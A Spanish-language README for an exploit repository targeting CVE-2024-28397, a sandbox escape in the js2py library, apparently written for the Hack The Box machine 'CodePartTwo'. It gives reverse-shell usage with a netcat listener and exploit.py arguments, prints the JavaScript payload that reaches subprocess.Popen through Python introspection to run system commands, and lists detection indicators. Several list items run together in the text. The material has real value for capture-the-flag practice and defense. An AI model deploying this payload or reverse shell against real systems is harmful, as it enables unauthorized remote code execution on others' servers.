
Este repositorio contiene un código de exploit en Python para CVE-2024-28397 destinado a usarse en la máquina "CodePartTwo" de Hack The Box (HTB).
Un código de exploit en Python para CVE-2024-28397, una vulnerabilidad crítica en js2py <= 0.74 que permite el escape del sandbox y la ejecución remota de código.
js2py es una popular biblioteca de Python para evaluar código JavaScript dentro de entornos Python. Esta vulnerabilidad permite a los atacantes escapar del entorno sandbox de js2py y ejecutar comandos arbitrarios de Python/sistema, incluso cuando js2py.disable_pyimport() está habilitado.
El exploit aprovecha las capacidades de introspección de objetos de Python a través de JavaScript para acceder a la clase subprocess.Popen y ejecutar comandos del sistema.
pip install requests
# Iniciar listener de netcat
nc -lnvp 4444
# Ejecutar el exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target URL del endpoint objetivo (requerido)
--lhost IP local para la reverse shell (requerido)
--lport Puerto local para la reverse shell (por defecto: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ y __base__subprocess.Popen a través de la introspecciónEl exploit funciona mediante:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen// Acceder a la jerarquía de objetos de Python
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Encontrar la clase subprocess.Popen
function findpopen(o) {
// Búsqueda recursiva a través de subclases
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Ejecutar comando
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Busque código JavaScript que contenga:
__class__ o ___class_____subclasses__()subprocess o Popenprintf y base64 -dEsta herramienta es solo para pruebas de penetración autorizadas y fines educativos. Los usuarios son responsables de cumplir con las leyes y regulaciones aplicables. El acceso no autorizado a sistemas informáticos es ilegal.
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.